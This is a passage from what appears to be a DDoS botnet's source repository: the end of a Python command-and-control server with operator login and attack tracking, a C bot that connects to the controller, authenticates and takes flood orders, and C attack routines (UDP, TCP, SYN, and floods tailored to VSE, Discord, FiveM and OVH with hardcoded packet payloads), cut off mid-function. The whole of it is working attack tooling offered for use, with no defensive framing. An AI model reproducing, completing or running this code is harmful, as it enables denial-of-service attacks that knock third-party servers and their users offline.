233 | return None 234 | username = data.decode('utf-8', errors='ignore').strip() 235 | if username and validate_username(username, self.max_username_len): 236 | return username 237 | if username: 238 | self.send(client, Fore.RED + 'Invalid username format\n') 239 | return None 240 | 241 | def _get_password(self, client): 242 | for _ in range(3): 243 | self.send(client, f'{Fore.LIGHTBLUE_EX}Password{Fore.LIGHTWHITE_EX}:{Fore.BLACK} ', False, False) 244 | data = safe_recv(client, self.max_data_len) 245 | if not data: 246 | return None 247 | password = data.decode('utf-8', errors='ignore').strip() 248 | if password and len(password) <= self.max_password_len: 249 | return password 250 | return None 251 | 252 | def _ping_bots_loop(self): 253 | while True: 254 | self.bot_manager.ping_all(self.send, lambda c, s: safe_recv(c, self.max_data_len)) 255 | time.sleep(4) 256 | 257 | def _cleanup_sessions_loop(self): 258 | while True: 259 | try: 260 | self.session_manager.cleanup_expired(3600) 261 | except: 262 | pass 263 | time.sleep(60) 264 | 265 | def _cleanup_rate_limits_loop(self): 266 | while True: 267 | try: 268 | self.rate_limiter.cleanup() 269 | except: 270 | pass 271 | time.sleep(300) 272 | 273 | def _update_title_loop(self, client, username): 274 | try: 275 | user_data = get_user(username) 276 | max_attacks = self.global_limits.get("max_attacks") 277 | 278 | while True: 279 | clients_count = len(self.clients) 280 | bots_count = self.bot_manager.get_count() 281 | attacks_count = self.attack_manager.get_count() 282 | 283 | title = format_title( 284 | self.c2_name, username, user_data, 285 | clients_count, bots_count, attacks_count, max_attacks 286 | ) 287 | self.send(client, title, False) 288 | time.sleep(0.6) 289 | except Exception: 290 | try: 291 | client.close() 292 | except: 293 | pass 294 | 295 | def _command_line_loop(self, client, username, session_token): 296 | self._initialize_managers() 297 | 298 | user_data = get_user(username) 299 | self.return_banner(client, username, user_data) 300 | 301 | prompt = f'{Fore.LIGHTBLUE_EX}{colorize_text_gradient(self.c2_name)} {Fore.LIGHTWHITE_EX}> ' 302 | self.send(client, prompt, False) 303 | 304 | try: 305 | while True: 306 | self.session_manager.update_activity(session_token) 307 | 308 | data = safe_recv(client, self.max_data_len) 309 | if not data: 310 | break 311 | 312 | data = data.decode('utf-8', errors='ignore').strip() 313 | if not data: 314 | continue 315 | 316 | should_continue = self.command_handler.handle(client, username, session_token, data) 317 | if not should_continue: 318 | break 319 | 320 | self.send(client, prompt, False) 321 | 322 | except Exception as e: 323 | logging.error(f"Erro na linha de comando: {str(e)[:100]}") 324 | finally: 325 | try: 326 | client.close() 327 | except: 328 | pass 329 | with self.locks['clients']: 330 | if client in self.clients: 331 | del self.clients[client] 332 | self.session_manager.remove(session_token) 333 | logging.info(f"Cliente desconectado: {sanitize_log(username)}") 334 | 335 | def return_banner(self, client, username, user_data): 336 | bots_count = self.bot_manager.get_count() 337 | banner_info = format_banner_info(username, user_data, bots_count) 338 | self.send(client, banner_info) 339 | for line in self.banner.split('\n'): 340 | self.send(client, line) 341 | 342 | def main(): 343 | server = SentinelaServer() 344 | server.start() 345 | 346 | if __name__ == '__main__': 347 | main() 348 | -------------------------------------------------------------------------------- /payload/bot/bot.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "attacks.h" 14 | #include "config.h" 15 | 16 | user_attack_t user_attacks[MAX_USERS]; 17 | int user_count = 0; 18 | pthread_mutex_t user_mutex = PTHREAD_MUTEX_INITIALIZER; 19 | 20 | char *get_architecture() { 21 | static char arch[64]; 22 | FILE *fp; 23 | 24 | fp = popen("uname -m", "r"); 25 | if (fp == NULL) { 26 | strcpy(arch, "unknown"); 27 | } else { 28 | if (fgets(arch, sizeof(arch) - 1, fp) != NULL) { 29 | arch[strcspn(arch, "\n")] = 0; 30 | } else { 31 | strcpy(arch, "unknown"); 32 | } 33 | pclose(fp); 34 | } 35 | 36 | return arch; 37 | } 38 | 39 | int base64_decode(const char *input, unsigned char *output, int *outlen) { 40 | const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 41 | int i = 0, j = 0, k = 0; 42 | unsigned char temp[4]; 43 | *outlen = 0; 44 | 45 | while (input[i] != '\0' && input[i] != '=') { 46 | const char *pos = strchr(base64_chars, input[i]); 47 | if (pos == NULL) { 48 | i++; 49 | continue; 50 | } 51 | temp[j++] = pos - base64_chars; 52 | 53 | if (j == 4) { 54 | output[k++] = (temp[0] << 2) | (temp[1] >> 4); 55 | output[k++] = ((temp[1] & 0x0F) << 4) | (temp[2] >> 2); 56 | output[k++] = ((temp[2] & 0x03) << 6) | temp[3]; 57 | j = 0; 58 | *outlen = k; 59 | } 60 | i++; 61 | } 62 | 63 | if (j > 0) { 64 | if (j >= 2) output[k++] = (temp[0] << 2) | (temp[1] >> 4); 65 | if (j >= 3) output[k++] = ((temp[1] & 0x0F) << 4) | (temp[2] >> 2); 66 | *outlen = k; 67 | } 68 | 69 | return (*outlen > 0) ? 0 : -1; 70 | } 71 | 72 | void generate_bot_auth(const char *arch, char *auth_output) { 73 | unsigned char secret[32]; 74 | int secret_len = 0; 75 | 76 | if (strcmp(BOT_SECRET_B64, "CHANGE_THIS_IN_CONFIG_JSON") == 0) { 77 | strcpy(auth_output, ""); 78 | return; 79 | } 80 | 81 | if (base64_decode(BOT_SECRET_B64, secret, &secret_len) != 0 || secret_len != 32) { 82 | strcpy(auth_output, ""); 83 | return; 84 | } 85 | 86 | unsigned char hmac_result[EVP_MAX_MD_SIZE]; 87 | unsigned int hmac_len; 88 | 89 | HMAC(EVP_sha256(), secret, 32, (unsigned char *)arch, strlen(arch), 90 | hmac_result, &hmac_len); 91 | 92 | for (unsigned int i = 0; i < hmac_len; i++) { 93 | sprintf(auth_output + (i * 2), "%02x", hmac_result[i]); 94 | } 95 | auth_output[hmac_len * 2] = '\0'; 96 | } 97 | 98 | void start_attack(const char *method, const char *ip, int port, int duration, int thread_count, const char *username) { 99 | int i, user_index = -1; 100 | 101 | printf("[INFO] Starting attack: %s -> %s:%d (%ds, %d threads) [User: %s]\n", 102 | method, ip, port, duration, thread_count, username); 103 | 104 | pthread_mutex_lock(&user_mutex); 105 | 106 | // Find or create user 107 | for (i = 0; i < user_count; i++) { 108 | if (strcmp(user_attacks[i].username, username) == 0) { 109 | user_index = i; 110 | break; 111 | } 112 | } 113 | 114 | if (user_index == -1) { 115 | if (user_count >= MAX_USERS) { 116 | printf("[ERROR] Maximum users reached\n"); 117 | pthread_mutex_unlock(&user_mutex); 118 | return; 119 | } 120 | user_index = user_count++; 121 | strcpy(user_attacks[user_index].username, username); 122 | user_attacks[user_index].attack_count = 0; 123 | } 124 | 125 | if (user_attacks[user_index].attack_count >= MAX_ATTACKS_PER_USER) { 126 | printf("[ERROR] User %s has reached maximum attacks (%d/%d)\n", 127 | username, user_attacks[user_index].attack_count, MAX_ATTACKS_PER_USER); 128 | pthread_mutex_unlock(&user_mutex); 129 | return; 130 | } 131 | 132 | int attack_index = user_attacks[user_index].attack_count; 133 | 134 | // Initialize attack slot 135 | user_attacks[user_index].attacks[attack_index].stop = 0; 136 | user_attacks[user_index].attacks[attack_index].active = 1; 137 | user_attacks[user_index].attacks[attack_index].thread_count = 0; 138 | 139 | pthread_mutex_unlock(&user_mutex); 140 | 141 | void *(*attack_func)(void *) = get_attack_function(method); 142 | 143 | if (attack_func == NULL) { 144 | printf("[ERROR] Unknown method: %s\n", method); 145 | return; 146 | } 147 | 148 | // Create attack threads 149 | int successful = 0; 150 | for (i = 0; i < thread_count && i < MAX_THREADS; i++) { 151 | attack_params_t *params = malloc(sizeof(attack_params_t)); 152 | if (params == NULL) { 153 | printf("[ERROR] Failed to allocate memory for thread %d\n", i); 154 | continue; 155 | } 156 | 157 | strncpy(params->ip, ip, sizeof(params->ip) - 1); 158 | params->ip[sizeof(params->ip) - 1] = '\0'; 159 | params->port = port; 160 | params->end_time = time(NULL) + duration; 161 | params->stop_flag = &user_attacks[user_index].attacks[attack_index].stop; 162 | 163 | pthread_t thread; 164 | if (pthread_create(&thread, NULL, attack_func, params) == 0) { 165 | pthread_detach(thread); 166 | successful++; 167 | } else { 168 | printf("[ERROR] Failed to create thread %d\n", i); 169 | free(params); 170 | } 171 | } 172 | 173 | if (successful > 0) { 174 | pthread_mutex_lock(&user_mutex); 175 | user_attacks[user_index].attacks[attack_index].thread_count = successful; 176 | user_attacks[user_index].attack_count++; 177 | pthread_mutex_unlock(&user_mutex); 178 | 179 | printf("[SUCCESS] Attack started with %d/%d threads\n", successful, thread_count); 180 | } else { 181 | printf("[ERROR] Failed to start any threads\n"); 182 | pthread_mutex_lock(&user_mutex); 183 | user_attacks[user_index].attacks[attack_index].active = 0; 184 | pthread_mutex_unlock(&user_mutex); 185 | } 186 | } 187 | 188 | void stop_attacks(const char *username) { 189 | int i, user_index = -1; 190 | 191 | pthread_mutex_lock(&user_mutex); 192 | 193 | // Find user 194 | for (i = 0; i < user_count; i++) { 195 | if (strcmp(user_attacks[i].username, username) == 0) { 196 | user_index = i; 197 | break; 198 | } 199 | } 200 | 201 | if (user_index == -1) { 202 | printf("[INFO] No attacks found for user: %s\n", username); 203 | pthread_mutex_unlock(&user_mutex); 204 | return; 205 | } 206 | 207 | int total_attacks = user_attacks[user_index].attack_count; 208 | if (total_attacks == 0) { 209 | printf("[INFO] User %s has no active attacks\n", username); 210 | pthread_mutex_unlock(&user_mutex); 211 | return; 212 | } 213 | 214 | printf("[INFO] Stopping %d attack(s) for user: %s\n", total_attacks, username); 215 | 216 | for (i = 0; i < total_attacks; i++) { 217 | if (user_attacks[user_index].attacks[i].active) { 218 | user_attacks[user_index].attacks[i].stop = 1; 219 | printf("[INFO] Signaled attack slot %d to stop (%d threads)\n", 220 | i, user_attacks[user_index].attacks[i].thread_count); 221 | } 222 | } 223 | 224 | pthread_mutex_unlock(&user_mutex); 225 | 226 | sleep(2); 227 | 228 | pthread_mutex_lock(&user_mutex); 229 | 230 | for (i = 0; i < total_attacks; i++) { 231 | user_attacks[user_index].attacks[i].active = 0; 232 | user_attacks[user_index].attacks[i].stop = 0; 233 | user_attacks[user_index].attacks[i].thread_count = 0; 234 | } 235 | 236 | user_attacks[user_index].attack_count = 0; 237 | 238 | pthread_mutex_unlock(&user_mutex); 239 | 240 | printf("[SUCCESS] All attacks stopped for user: %s\n", username); 241 | } 242 | 243 | void handle_command(int sock, char *buffer) { 244 | char command[64] = {0}; 245 | char ip[128] = {0}; 246 | int port = 0, duration = 0, threads = 0; 247 | char username[32] = "default"; 248 | 249 | char *token = strtok(buffer, " "); 250 | if (token == NULL) return; 251 | 252 | strncpy(command, token, sizeof(command) - 1); 253 | 254 | for (int i = 0; command[i]; i++) { 255 | if (command[i] >= 'A' && command[i] <= 'Z') { 256 | command[i] = command[i] + 32; 257 | } 258 | } 259 | 260 | if (strcmp(command, "ping") == 0) { 261 | send(sock, "PONG", 4, 0); 262 | printf("[INFO] Responded to PING\n"); 263 | return; 264 | } 265 | 266 | if (strcmp(command, "stop") == 0) { 267 | token = strtok(NULL, " \n\r"); 268 | if (token != NULL) { 269 | strncpy(username, token, sizeof(username) - 1); 270 | username[strcspn(username, "\n")] = 0; 271 | username[strcspn(username, "\r")] = 0; 272 | stop_attacks(username); 273 | } else { 274 | printf("[ERROR] STOP command requires username\n"); 275 | send(sock, "ERROR: Username required\n", 25, 0); 276 | } 277 | return; 278 | } 279 | 280 | // Parse attack parameters 281 | token = strtok(NULL, " "); 282 | if (token == NULL) { 283 | printf("[ERROR] Missing IP parameter\n"); 284 | return; 285 | } 286 | strncpy(ip, token, sizeof(ip) - 1); 287 | 288 | token = strtok(NULL, " "); 289 | if (token == NULL) { 290 | printf("[ERROR] Missing port parameter\n"); 291 | return; 292 | } 293 | port = atoi(token); 294 | 295 | token = strtok(NULL, " "); 296 | if (token == NULL) { 297 | printf("[ERROR] Missing duration parameter\n"); 298 | return; 299 | } 300 | duration = atoi(token); 301 | 302 | token = strtok(NULL, " "); 303 | if (token == NULL) { 304 | printf("[ERROR] Missing threads parameter\n"); 305 | return; 306 | } 307 | threads = atoi(token); 308 | 309 | token = strtok(NULL, " \n\r"); 310 | if (token != NULL) { 311 | strncpy(username, token, sizeof(username) - 1); 312 | username[strcspn(username, "\n")] = 0; 313 | username[strcspn(username, "\r")] = 0; 314 | } 315 | 316 | // Validate parameters 317 | if (port <= 0 || port > 65535) { 318 | printf("[ERROR] Invalid port: %d\n", port); 319 | return; 320 | } 321 | 322 | if (duration <= 0 || duration > 3600) { 323 | printf("[ERROR] Invalid duration: %d (max 3600s)\n", duration); 324 | return; 325 | } 326 | 327 | if (threads <= 0 || threads > MAX_THREADS) { 328 | printf("[ERROR] Invalid thread count: %d (max %d)\n", threads, MAX_THREADS); 329 | return; 330 | } 331 | 332 | start_attack(command, ip, port, duration, threads, username); 333 | } 334 | 335 | 336 | int main() { 337 | int sock; 338 | struct sockaddr_in server; 339 | char buffer[BUFFER_SIZE]; 340 | 341 | srand(time(NULL)); 342 | signal(SIGPIPE, SIG_IGN); 343 | memset(user_attacks, 0, sizeof(user_attacks)); 344 | 345 | printf("[INIT] Bot starting...\n"); 346 | printf("[INFO] Max users: %d, Max attacks per user: %d, Max threads: %d\n", 347 | MAX_USERS, MAX_ATTACKS_PER_USER, MAX_THREADS); 348 | sleep(1); 349 | 350 | while (1) { 351 | sock = socket(AF_INET, SOCK_STREAM, 0); 352 | if (sock < 0) { 353 | printf("[ERROR] Failed to create socket\n"); 354 | sleep(20); 355 | continue; 356 | } 357 | 358 | int keepalive = 1; 359 | setsockopt(sock, SOL_SOCKET, SO_KEEPALIVE, &keepalive, sizeof(keepalive)); 360 | 361 | struct timeval timeout; 362 | timeout.tv_sec = 10; 363 | timeout.tv_usec = 0; 364 | setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout)); 365 | 366 | server.sin_family = AF_INET; 367 | server.sin_addr.s_addr = inet_addr(C2_ADDRESS); 368 | server.sin_port = htons(C2_PORT); 369 | 370 | printf("[INFO] Connecting to C2: %s:%d\n", C2_ADDRESS, C2_PORT); 371 | 372 | if (connect(sock, (struct sockaddr *)&server, sizeof(server)) < 0) { 373 | printf("[ERROR] Connection failed, retrying in 20s...\n"); 374 | close(sock); 375 | sleep(20); 376 | continue; 377 | } 378 | 379 | printf("[INFO] Connected! Waiting for authentication...\n"); 380 | sleep(1); 381 | 382 | // Authentication 383 | memset(buffer, 0, BUFFER_SIZE); 384 | int recv_size = recv(sock, buffer, BUFFER_SIZE, 0); 385 | 386 | if (recv_size > 0 && strstr(buffer, "Username") != NULL) { 387 | sleep(1); 388 | char *arch = get_architecture(); 389 | send(sock, arch, strlen(arch), 0); 390 | printf("[INFO] Sent username: %s\n", arch); 391 | 392 | memset(buffer, 0, BUFFER_SIZE); 393 | recv_size = recv(sock, buffer, BUFFER_SIZE, 0); 394 | 395 | if (recv_size > 0 && strstr(buffer, "Password") != NULL) { 396 | char auth_token[65]; 397 | generate_bot_auth(arch, auth_token); 398 | if (strlen(auth_token) > 0) { 399 | send(sock, auth_token, strlen(auth_token), 0); 400 | printf("[INFO] Authenticated successfully with HMAC\n"); 401 | } else { 402 | printf("[ERROR] Failed to generate authentication token\n"); 403 | close(sock); 404 | sleep(20); 405 | continue; 406 | } 407 | } 408 | } 409 | 410 | // Command loop 411 | printf("[INFO] Entering command loop...\n"); 412 | while (1) { 413 | memset(buffer, 0, BUFFER_SIZE); 414 | recv_size = recv(sock, buffer, BUFFER_SIZE - 1, 0); 415 | 416 | if (recv_size <= 0) { 417 | printf("[ERROR] Connection lost (recv_size=%d), reconnecting...\n", recv_size); 418 | break; 419 | } 420 | 421 | buffer[recv_size] = '\0'; 422 | buffer[strcspn(buffer, "\n")] = 0; 423 | buffer[strcspn(buffer, "\r")] = 0; 424 | 425 | if (strlen(buffer) > 0) { 426 | printf("[CMD] Received: %s\n", buffer); 427 | handle_command(sock, buffer); 428 | } 429 | } 430 | 431 | close(sock); 432 | printf("[INFO] Connection closed, retrying in 5s...\n"); 433 | sleep(5); 434 | } 435 | 436 | return 0; 437 | } 438 | -------------------------------------------------------------------------------- /payload/bot/attacks.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include "attacks.h" 11 | 12 | unsigned char payload_vse[] = "\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x79\x00"; 13 | unsigned char payload_discord2[] = "\x94\x00\xb0\x1a\xef\x69\xa8\xa1\x59\x69\xba\xc5\x08\x00\x45\x00\x00\x43\xf0\x12\x00\x00\x80\x11\x00\x00\xc0\xa8\x64\x02\xb9\x29\x8e\x31\xc2\x30\xc3\x51\x00\x2f\x6c\x46\x90\xf8\x5f\x1b\x8e\xf5\x56\x8f\x00\x05\xe1\x26\x96\xa9\xde\xe8\x84\xba\x65\x38\x70\x68\xf5\x70\x0e\x12\xe2\x54\x20\xe0\x7f\x49\x0d\x9e\x44\x89\xec\x4b\x7f"; 14 | unsigned char payload_fivem[] = "\x74\x6f\x6b\x65\x6e\x3d\x64\x66\x39\x36\x61\x66\x30\x33\x2d\x63\x32\x66\x63\x2d\x34\x63\x32\x39\x2d\x39\x31\x39\x61\x2d\x32\x36\x30\x35\x61\x61\x37\x30\x62\x31\x66\x38\x26\x67\x75\x69\x64\x3d\x37\x36\x35\x36\x31\x31\x39\x38\x38\x30\x34\x38\x30\x36\x30\x31\x35"; 15 | 16 | void generate_random_data(unsigned char *buffer, int size) { 17 | for (int i = 0; i < size; i++) { 18 | buffer[i] = rand() % 256; 19 | } 20 | } 21 | 22 | static char *generate_end(int length) { 23 | static char end[16]; 24 | const char chars[] = "\n\r"; 25 | 26 | for (int i = 0; i < length && i < 15; i++) { 27 | end[i] = chars[rand() % 2]; 28 | } 29 | end[length] = '\0'; 30 | return end; 31 | } 32 | 33 | char **ovh_builder(const char *ip, int port, int *count) { 34 | char **packet_list = malloc(sizeof(char *) * 200); 35 | int packet_count = 0; 36 | 37 | const char *paths[] = { 38 | "/0/0/0/0/0/0", 39 | "/0/0/0/0/0/0/", 40 | "\\0\\0\\0\\0\\0\\0", 41 | "\\0\\0\\0\\0\\0\\0\\" 42 | }; 43 | 44 | for (int p = 0; p < 4; p++) { 45 | unsigned char random_part[256]; 46 | generate_random_data(random_part, 256); 47 | 48 | char *end = generate_end(4); 49 | char *packet = malloc(4096); 50 | 51 | snprintf(packet, 4096, "GET %s HTTP/1.1\r\nHost: %s:%d\r\n\r\n", 52 | paths[p], ip, port); 53 | 54 | packet_list[packet_count++] = packet; 55 | 56 | if (packet_count >= 200) break; 57 | } 58 | 59 | *count = packet_count; 60 | return packet_list; 61 | } 62 | 63 | void *(*get_attack_function(const char *method))(void *) { 64 | if (strcmp(method, ".udp") == 0) return attack_udp_bypass; 65 | if (strcmp(method, ".tcp") == 0) return attack_tcp_bypass; 66 | if (strcmp(method, ".mix") == 0) return attack_tcp_udp_bypass; 67 | if (strcmp(method, ".syn") == 0) return attack_syn; 68 | if (strcmp(method, ".vse") == 0) return attack_vse; 69 | if (strcmp(method, ".discord") == 0) return attack_discord2; 70 | if (strcmp(method, ".fivem") == 0) return attack_fivem; 71 | if (strcmp(method, ".ovhtcp") == 0) return attack_ovh_tcp; 72 | if (strcmp(method, ".ovhudp") == 0) return attack_ovh_udp; 73 | return NULL; 74 | } 75 | 76 | void *attack_ovh_tcp(void *arg) { 77 | attack_params_t *params = (attack_params_t *)arg; 78 | int sock; 79 | struct sockaddr_in server; 80 | 81 | server.sin_family = AF_INET; 82 | server.sin_addr.s_addr = inet_addr(params->ip); 83 | server.sin_port = htons(params->port); 84 | 85 | int packet_count; 86 | char **packets = ovh_builder(params->ip, params->port, &packet_count); 87 | 88 | time_t start_time = time(NULL); 89 | printf("[THREAD] OVH TCP attack started, duration: %ld seconds\n", params->end_time - start_time); 90 | 91 | int total_sent = 0; 92 | while (time(NULL) < params->end_time && !(*(params->stop_flag))) { 93 | sock = socket(AF_INET, SOCK_STREAM, 0); 94 | if (sock < 0) continue; 95 | 96 | fcntl(sock, F_SETFL, O_NONBLOCK); 97 | 98 | int sndbuf = 2 * 1024 * 1024; 99 | setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)); 100 | 101 | connect(sock, (struct sockaddr *)&server, sizeof(server)); 102 | 103 | for (int i = 0; i < packet_count; i++) { 104 | send(sock, packets[i], strlen(packets[i]), MSG_NOSIGNAL | MSG_DONTWAIT); 105 | total_sent++; 106 | } 107 | 108 | close(sock); 109 | } 110 | 111 | for (int i = 0; i < packet_count; i++) { 112 | free(packets[i]); 113 | } 114 | free(packets); 115 | free(params); 116 | printf("[THREAD] OVH TCP attack finished, sent %d requests\n", total_sent); 117 | return NULL; 118 | } 119 | 120 | void *attack_ovh_udp(void *arg) { 121 | attack_params_t *params = (attack_params_t *)arg; 122 | int sock; 123 | struct sockaddr_in server; 124 | 125 | server.sin_family = AF_INET; 126 | server.sin_addr.s_addr = inet_addr(params->ip); 127 | server.sin_port = htons(params->port); 128 | 129 | int packet_count; 130 | char **packets = ovh_builder(params->ip, params->port, &packet_count); 131 | 132 | sock = socket(AF_INET, SOCK_DGRAM, 0); 133 | if (sock < 0) { 134 | printf("[ERROR] Failed to create UDP socket\n"); 135 | for (int i = 0; i < packet_count; i++) { 136 | free(packets[i]); 137 | } 138 | free(packets); 139 | free(params); 140 | return NULL; 141 | } 142 | 143 | int sndbuf = 4 * 1024 * 1024; 144 | setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)); 145 | fcntl(sock, F_SETFL, O_NONBLOCK); 146 | 147 | time_t start_time = time(NULL); 148 | printf("[THREAD] OVH UDP attack started, duration: %ld seconds\n", params->end_time - start_time); 149 | 150 | int total_sent = 0; 151 | while (time(NULL) < params->end_time && !(*(params->stop_flag))) { 152 | for (int batch = 0; batch < 100; batch++) { 153 | for (int i = 0; i < packet_count; i++) { 154 | sendto(sock, packets[i], strlen(packets[i]), MSG_DONTWAIT, 155 | (struct sockaddr *)&server, sizeof(server)); 156 | total_sent++; 157 | } 158 | } 159 | } 160 | 161 | close(sock); 162 | for (int i = 0; i < packet_count; i++) { 163 | free(packets[i]); 164 | } 165 | free(packets); 166 | free(params); 167 | printf("[THREAD] OVH UDP attack finished, sent %d packets\n", total_sent); 168 | return NULL; 169 | } 170 | 171 | void *attack_vse(void *arg) { 172 | attack_params_t *params = (attack_params_t *)arg; 173 | int sock; 174 | struct sockaddr_in server; 175 | 176 | server.sin_family = AF_INET; 177 | server.sin_addr.s_addr = inet_addr(params->ip); 178 | server.sin_port = htons(params->port); 179 | 180 | sock = socket(AF_INET, SOCK_DGRAM, 0); 181 | if (sock < 0) { 182 | printf("[ERROR] Failed to create VSE socket\n"); 183 | free(params); 184 | return NULL; 185 | } 186 | 187 | int sndbuf = 4 * 1024 * 1024; 188 | setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)); 189 | fcntl(sock, F_SETFL, O_NONBLOCK); 190 | 191 | time_t start_time = time(NULL); 192 | printf("[THREAD] VSE attack started, duration: %ld seconds\n", params->end_time - start_time); 193 | 194 | int total_sent = 0; 195 | int payload_size = sizeof(payload_vse) - 1; 196 | 197 | while (time(NULL) < params->end_time && !(*(params->stop_flag))) { 198 | for (int i = 0; i < 1000; i++) { 199 | sendto(sock, payload_vse, payload_size, MSG_DONTWAIT, 200 | (struct sockaddr *)&server, sizeof(server)); 201 | total_sent++; 202 | } 203 | } 204 | 205 | close(sock); 206 | free(params); 207 | printf("[THREAD] VSE attack finished, sent %d packets\n", total_sent); 208 | return NULL; 209 | } 210 | 211 | void *attack_discord2(void *arg) { 212 | attack_params_t *params = (attack_params_t *)arg; 213 | int sock; 214 | struct sockaddr_in server; 215 | 216 | server.sin_family = AF_INET; 217 | server.sin_addr.s_addr = inet_addr(params->ip); 218 | server.sin_port = htons(params->port); 219 | 220 | sock = socket(AF_INET, SOCK_DGRAM, 0); 221 | if (sock < 0) { 222 | printf("[ERROR] Failed to create Discord socket\n"); 223 | free(params); 224 | return NULL; 225 | } 226 | 227 | int sndbuf = 4 * 1024 * 1024; 228 | setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)); 229 | fcntl(sock, F_SETFL, O_NONBLOCK); 230 | 231 | time_t start_time = time(NULL); 232 | printf("[THREAD] Discord attack started, duration: %ld seconds\n", params->end_time - start_time); 233 | 234 | int total_sent = 0; 235 | int payload_size = sizeof(payload_discord2) - 1; 236 | 237 | while (time(NULL) < params->end_time && !(*(params->stop_flag))) { 238 | for (int i = 0; i < 1000; i++) { 239 | sendto(sock, payload_discord2, payload_size, MSG_DONTWAIT, 240 | (struct sockaddr *)&server, sizeof(server)); 241 | total_sent++; 242 | } 243 | } 244 | 245 | close(sock); 246 | free(params); 247 | printf("[THREAD] Discord attack finished, sent %d packets\n", total_sent); 248 | return NULL; 249 | } 250 | 251 | void *attack_fivem(void *arg) { 252 | attack_params_t *params = (attack_params_t *)arg; 253 | int sock; 254 | struct sockaddr_in server; 255 | 256 | server.sin_family = AF_INET; 257 | server.sin_addr.s_addr = inet_addr(params->ip); 258 | server.sin_port = htons(params->port); 259 | 260 | sock = socket(AF_INET, SOCK_DGRAM, 0); 261 | if (sock < 0) { 262 | printf("[ERROR] Failed to create FiveM socket\n"); 263 | free(params); 264 | return NULL; 265 | } 266 | 267 | int sndbuf = 4 * 1024 * 1024; 268 | setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)); 269 | fcntl(sock, F_SETFL, O_NONBLOCK); 270 | 271 | time_t start_time = time(NULL); 272 | printf("[THREAD] FiveM attack started, duration: %ld seconds\n", params->end_time - start_time); 273 | 274 | int total_sent = 0; 275 | int payload_size = sizeof(payload_fivem) - 1; 276 | 277 | while (time(NULL) < params->end_time && !(*(params->stop_flag))) { 278 | for (int i = 0; i < 1000; i++) { 279 | sendto(sock, payload_fivem, payload_size, MSG_DONTWAIT, 280 | (struct sockaddr *)&server, sizeof(server)); 281 | total_sent++; 282 | } 283 | } 284 | 285 | close(sock); 286 | free(params); 287 | printf("[THREAD] FiveM attack finished, sent %d packets\n", total_sent); 288 | return NULL; 289 | } 290 | 291 | void *attack_udp_bypass(void *arg) { 292 | attack_params_t *params = (attack_params_t *)arg; 293 | int sock; 294 | struct sockaddr_in server; 295 | unsigned char packet[8192]; 296 | 297 | server.sin_family = AF_INET; 298 | server.sin_addr.s_addr = inet_addr(params->ip); 299 | server.sin_port = htons(params->port); 300 | 301 | sock = socket(AF_INET, SOCK_DGRAM, 0); 302 | if (sock < 0) { 303 | printf("[ERROR] Failed to create UDP socket\n"); 304 | free(params); 305 | return NULL; 306 | } 307 | 308 | int sndbuf = 8 * 1024 * 1024; 309 | setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)); 310 | fcntl(sock, F_SETFL, O_NONBLOCK); 311 | 312 | time_t start_time = time(NULL); 313 | printf("[THREAD] UDP attack started, target: %s:%d, duration: %ld seconds\n", 314 | params->ip, params->port, params->end_time - start_time); 315 | 316 | int total_sent = 0; 317 | generate_random_data(packet, 8192); 318 | 319 | while (time(NULL) < params->end_time && !(*(params->stop_flag))) { 320 | for (int batch = 0; batch < 500; batch++) { 321 | int size = 1024 + (rand() % 7168); 322 | sendto(sock, packet, size, MSG_DONTWAIT, 323 | (struct sockaddr *)&server, sizeof(server)); 324 | total_sent++; 325 | } 326 | } 327 | 328 | close(sock); 329 | free(params); 330 | printf("[THREAD] UDP attack finished, sent %d packets\n", total_sent); 331 | return NULL; 332 | } 333 | 334 | void *attack_tcp_bypass(void *arg) { 335 | attack_params_t *params = (attack_params_t *)arg; 336 | int sock; 337 | struct sockaddr_in server; 338 | unsigned char packet[8192]; 339 | 340 | server.sin_family = AF_INET; 341 | server.sin_addr.s_addr = inet_addr(params->ip); 342 | server.sin_port = htons(params->port); 343 | 344 | time_t start_time = time(NULL); 345 | printf("[THREAD] TCP attack started, duration: %ld seconds\n", params->end_time - start_time); 346 | 347 | int total_sent = 0; 348 | generate_random_data(packet, 8192); 349 | 350 | while (time(NULL) < params->end_time && !(*(params->stop_flag))) { 351 | sock = socket(AF_INET, SOCK_STREAM, 0); 352 | if (sock < 0) continue; 353 | 354 | fcntl(sock, F_SETFL, O_NONBLOCK); 355 | 356 | int sndbuf = 4 * 1024 * 1024; 357 | setsockopt(sock, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)); 358 | 359 | connect(sock, (struct sockaddr *)&server, sizeof(server)); 360 | 361 | for (int i = 0; i < 50; i++) { 362 | int size = 1024 + (rand() % 7168); 363 | send(sock, packet, size, MSG_NOSIGNAL | MSG_DONTWAIT); 364 | total_sent++; 365 | } 366 | 367 | close(sock); 368 | } 369 | 370 | free(params); 371 | printf("[THREAD] TCP attack finished, sent %d packets\n", total_sent); 372 | return NULL; 373 | } 374 | 375 | void *attack_tcp_udp_bypass(void *arg) { 376 | attack_params_t *params = (attack_params_t *)arg; 377 | int sock_tcp, sock_udp; 378 | struct sockaddr_in server; 379 | unsigned char packet[8192]; 380 | 381 | server.sin_family = AF_INET; 382 | server.sin_addr.s_addr = inet_addr(params->ip); 383 | server.sin_port = htons(params->port); 384 | 385 | sock_udp = socket(AF_INET, SOCK_DGRAM, 0); 386 | if (sock_udp >= 0) { 387 | int sndbuf = 8 * 1024 * 1024; 388 | setsockopt(sock_udp, SOL_SOCKET, SO_SNDBUF, 